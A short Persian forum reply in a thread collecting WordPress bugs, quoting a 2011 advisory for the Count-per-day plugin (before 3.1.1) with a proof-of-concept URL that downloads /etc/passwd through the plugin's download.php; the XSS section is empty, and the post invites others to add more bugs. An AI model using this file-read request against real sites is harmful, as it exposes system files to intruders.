پاسخ به:•••کلکسیون باگ های وردپرس•••

کد:

#Exploit Title: Count-per-day Wordpress plugin Arbitrary file download and XSS

#Version: < 3.1.1

#Date: 2011-01-12

#Author 6Scan (http://6scan.com) security team

#Software Link: http://wordpress.org/extend/plugins/count-per-day/

#Official fix: This advisory is released after the vendor has responded and fixed the issue.

 

PoC for File download

192.168.0.1/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd

 

PoC for XSS

دوستان هرکسی باگی چیزی از ورد پرس داره فقط توی این تایپیک قرار دهید تا تایپیکی جامع داشته باشیم.

موفق باشید.